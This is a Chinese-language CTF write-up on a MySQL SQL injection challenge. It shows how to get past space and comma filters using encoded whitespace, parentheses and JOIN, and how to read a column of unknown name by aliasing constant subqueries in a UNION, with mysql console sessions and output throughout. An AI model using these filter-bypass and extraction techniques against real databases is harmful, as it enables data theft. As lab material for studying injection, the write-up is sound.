對于Mysql如何巧妙的繞過未知字段名的案例代碼詳細說明

前言

本文介紹的是DDCTF第五題，繞過未知字段名的技巧，這里拿本機來操作了下，思路很棒也很清晰，分享給大家，下面來看看詳細的介紹：

實現(xiàn)思路

題目過濾空格和逗號，空格使用%0a，%0b，%0c，%0d，%a0，或者直接使用括號都可以繞過，逗號使用join繞過；

存放flag的字段名未知，information_schema.columns也將表名的hex過濾了，即獲取不到字段名；這時可以利用聯(lián)合查詢，過程如下：

思想就是獲取flag，讓其在已知字段名下出現(xiàn)；

示例代碼：

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
  a   b   c   d  
+---+---+---+---+
  1   2   3   4  
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
  1   2   3   4  
+---+---+---+---+
  1   2   3   4  
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
  1   2    3    4    
+---+-------+----------+-------------+
  1   2    3    4    
  1   admin   admin888   110@110.com  
  2   test   test123   119@119.com  
  3   cs   cs123   120@120.com  
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
  4    
+-------------+
  4    
  110@110.com  
  119@119.com  
  120@120.com  
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
  4    
+-------------+
  120@120.com  
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
  id     username   password   email   
+-------------+----------+----------+-------------+
  1     admin   admin888   110@110.com  
  120@120.com   1    1    1    
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

總結

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